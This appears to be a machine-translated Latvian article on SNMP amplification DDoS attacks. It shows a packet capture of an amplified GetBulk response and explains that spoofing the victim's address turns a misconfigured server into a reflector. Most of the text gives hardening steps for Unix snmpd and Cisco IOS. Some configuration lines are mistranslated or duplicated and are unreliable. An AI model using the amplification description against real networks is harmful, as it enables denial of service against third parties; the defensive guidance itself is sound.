21:41:18.185058 IP 192.168.10.128.39565 > 192.168.10.129. snmp : GetBulk ( 25 ) N = 0 M = 20000 . iso. org. dod. internets 21:41:18.603553 IP 192.168.10.129.snmp > 192.168.10.128.39565: [len1468< asnlen10102 ]

Atbildot uz aptuveni 70 baitu lieluma pieprasījumu, ieskaitot galvenes, serveris atgriež aptuveni 10 kilobaitu lielu atbildi, tas ir, gandrīz 150 reizes lielāku. Pastiprinājums nav fiksēts, un atkarībā no OS veida un ierīces konfigurācijas parametriem var būt vai nu lielāka (sasniedzot 1700 reizes) vai mazāka vērtība. Ja, veidojot šādu pieprasījumu, jūs izmantojat sūtītāja IP adreses aizstāšanu ar upura adresi un augstu zvanu intensitāti uz neaizsargāto serveri, DDoS uzbrukums ir gatavs.

DDoS uzbrukumu iemesls

Ievainojamības būtība, kā likums, nav viena nosūtīto vērtību skaita pielāgošana GetBulkRequest bet tā nozīme SNMP kopiena iestatīts pēc noklusējuma: publisks — tikai lasāms vai, vēl ļaunāk, privāts - lasīt un rakstīt.

SNMP 1. un 2. versija ir balstīta uz UDP, ko izmanto uzraudzībai un pārvaldībai, un izmanto vērtību kopienai, kuru var iestatīt tikai lasāmu ( tikai lasāms) vai ar ierakstīšanas iespēju (r lasīt-rakstīt). Bieži vien sistēmās, aktivizējot SNMP pakalpojumu, tiek iestatīta noklusējuma vērtība - publisks tikai lasīšanai un privāts lasīšanai un rakstīšanai.

Pat ja mēs abstrahējamies no iespējas izmantot nepareizi konfigurētu serveri kā atstarotāju SNMP uzbrukumu uzlabošanai, draudi iegūt informāciju par serveri, tajā instalēto programmatūru un tās versijām ir acīmredzami, ja tiek izmantota noklusējuma publiskā vērtība tikai lasāms

Ierīcei nodrošina praktiski neierobežotu priviliģētu piekļuvi ar administratora tiesībām lasīšanas un rakstīšanas kopiena privāta. Pat ja netiek veiktas nekādas ļaunprātīgas izmaiņas, intensīvi pieprasījumi, izmantojot SNMP protokolu, var ievērojami noslogot vaicājumu servera skaitļošanas resursus, tādējādi ietekmējot tā sniegto pakalpojumu kvalitāti.

Aizsardzība pret DDoS uzbrukumiem, piemēram, SNMP pastiprināšanu

Ir sniegtas vispārīgas vadlīnijas UDP protokoliem, kas ir neaizsargāti pret viltošanas uzbrukumiem BCP38 un RFC2827 un aprakstīts iepriekšējos.

• Arhitektūras: atļauj apstrādāt pieprasījumus tikai saskarnēs, kas nav pieejamas no neuzticamiem tīkliem.
• Mainot kopienu uz kaut ko grūtāk uzminējamu.
• Kontroles staciju IP adrešu ierobežojums.
• Saņemšanai/pārveidošanai, izmantojot SNMP, pieejamās OID filiāles ierobežošana.
• Lietošanas samazināšana vai atteikums kopienai lasīšanai un rakstīšanai.
• Migrācija uz SNMP 3. versiju, izmantojot papildu autentifikācijas un šifrēšanas opcijas.
• Atspējojiet SNMP, ja to neizmantojat.

Kā veikt šīs darbības dažādās sistēmās?

DDoS aizsardzības SNMP pastiprināšana operētājsistēmā Unix

SNMP pakalpojuma konfigurācijas failā ir konfigurēti šādi parametri:

# IP adrese, protokols un ports, kas saņem SNMP pieprasījumus aģentsAdrese udp:10.0.0.1:161

Ja Unix serveris būtībā ir maršrutētājs un tam arhitektoniski ir vairākas saskarnes, drošības apsvērumu dēļ ir jāatstāj tikai tas interfeiss, kas pieejams, izmantojot SNMP, kas ir pieejams no uzticamā segmenta, bet ne no interneta. Vārds kopienai piekļuvei ir norādīts ar rocommunity parametru ( tikai lasāms) vai rwcommunity ( lasīt-rakstīt), ir iespējams arī norādīt apakštīklu, no kura ir atļauta piekļuve, un OID filiāli, kas ir pieejama norādītā apakštīkla darbībai ar norādītajām kopienas līnijas tiesībām.

Piemēram, lai atļautu uzraudzības sistēmas no apakštīkla 10.0.0.0/24 piekļuve informācijai, izmantojot saskarnes ( OID 1.3.6.1.2.1.2), izmantojot piekļuves virkni MaKe_It_SeCuRe ar tikai lasīšanas atļaujām konfigurācijas fragments izskatīsies šādi:

rocommunity MaKe_It_SeCuRe 10.0.0.0/24 .1.3.6.1.2.1.2

Bet, ja uzdevums ir pēc iespējas ātrāk nodrošināt snmpd pakalpojuma, kuru iepriekš nepareizi konfigurēja tā priekšgājējs, drošību, varat izveidot snmpd.conf rezerves kopiju, jaunajam pievienot ierobežojumus uzraudzības sistēmu apakštīklam. konfigurācijas failu un mainiet kopienu. Uz Debian tas izskatītos šādi:

#cd<директория с snmpd.conf># mv snmpd.conf snmpd.conf.backup # echo rocommunity MaKe_It_SeCuRe 10.0.0.0/24 > snmpd.conf # /etc/init.d/snmpd restart

#cd<директория с snmpd.conf> # mv snmpd.conf snmpd.conf.backup # echo rocommunity MaKe_It_SeCuRe 10.0.0.0/24 > snmpd.conf # /etc/init.d/snmpd restart

Pēc tam tikai apakštīklam būs piekļuve serverim, izmantojot SNMP 10.0.0.0/24 izmantojot jauno kopienu, savukārt visi serveri, kuros kopiena nav mainīta uz jauno, pārtrauks saņemt atbildes uz pieprasījumiem, tāpat kā uzbrucēji.

Drošāk būtu pāriet uz SNMPv3 lietošanu, kurā iespējams variēt autentifikācijas parametrus. Turklāt atšķirībā no versijas 1 un 2c SNMPv3ļauj nodrošināt trafika šifrēšanu starp uzraudzības sistēmu un aptaujāto aprīkojumu.

Lai izveidotu lietotāju ar tikai lasīšanas tiesībām, autentifikāciju un trafika šifrēšanu konfigurācijas failā snmpd.conf jāpievieno:

createUser v3user SHA "some_AuThPaSs" AES some_privpass authuser lasīt v3user authpriv 1.3.6.1.2.1.2

createUser v3user SHA "some_AuThPaSs" AES some_privpass authuser read v3user authpriv 1.3.6.1.2.1.2

Attiecīgi lietotājs v3 lietotājs saņems licenci tikai lasāms lai apskatītu pavedienu 1.3.6.1.2.1.2, izmantojot SNMP.

Konfigurācijas pareizību varat pārbaudīt pēc SNMP pakalpojuma restartēšanas serverī 192.168.10.128 ar komandu, kas tiek izpildīta klientam:

$ snmpwalk -v 3 -A some_AuThPaSs -X some_privpass -a SHA ↵ -x AES -u v3user -l authPriv 192.168.10.128 1

$ snmpwalk - v 3 - A some_AuThPaSs - X some_privpass - a SHA ↵- x AES - u v3user - l authPriv 192.168.10.128 1

Šajā gadījumā, neskatoties uz to, ka tiks vaicāts viss koks, sākot no 1, serveris atgriezīs tikai atļauto zaru 1 .3.6.1.2.1.2, kas tiks norādīts konfigurācijā.

Ja atsakās SNMP v1/v2c par labu SNMPv3 ir nepieciešams arī noņemt no konfigurācijas faila iestatījumu fragmentus, kas nav saistīti ar SNMPv3.

Ja servera uzraudzībai netiek izmantots SNMP, pareizākais risinājums būtu pakotnes noņemšana snmpd.

DDoS aizsardzība SNMP pastiprināšana Cisco iekārtās

Sistēmai Cisco IOS nav iespējas atlasīt saskarni, kas apstrādās SNMP pieprasījumus. Ierobežojums tiek veikts, izmantojot piekļuves sarakstus ( piekļuves kontroles saraksts, ACL). Pieņemsim, ka atļautais apakštīkls ir 10.0.0.0/24 . Tiek izveidots ACL:

(config)#access-list 10 atļauja 10.0.0.0 0.0.0.255

SNMP OID atzaru ierobežojums tiek piemērots, izmantojot skatu:

(config)#snmp-servera skats IFACES 1.3.6.1.2.1.2 iekļauts

Lai izmantotu SNMPv3 ar nepieciešamajiem ierobežojumiem (autentifikācija un šifrēšana, tikai lasāma, piekļuve no apakštīkla 10.0.0.0/24 uz saskarnes filiāli, kas norādīta skatā IFACES), jums ir jāizveido grupa ( DROŠI) ar tikai lasīšanas piekļuvi OID no apskatīt IFACES un nepieciešamība pēc autentifikācijas ar šifrēšanu, saistot to ar iepriekš izveidoto piekļuves saraksts 10:

(config)#snmp-server group SECURE v3 priv read IFACES ↵ piekļuve 10

SNMPv3 funkcionalitāte ar iepriekš aprakstītajiem iestatījumiem tiek pārbaudīta, izmantojot komandu.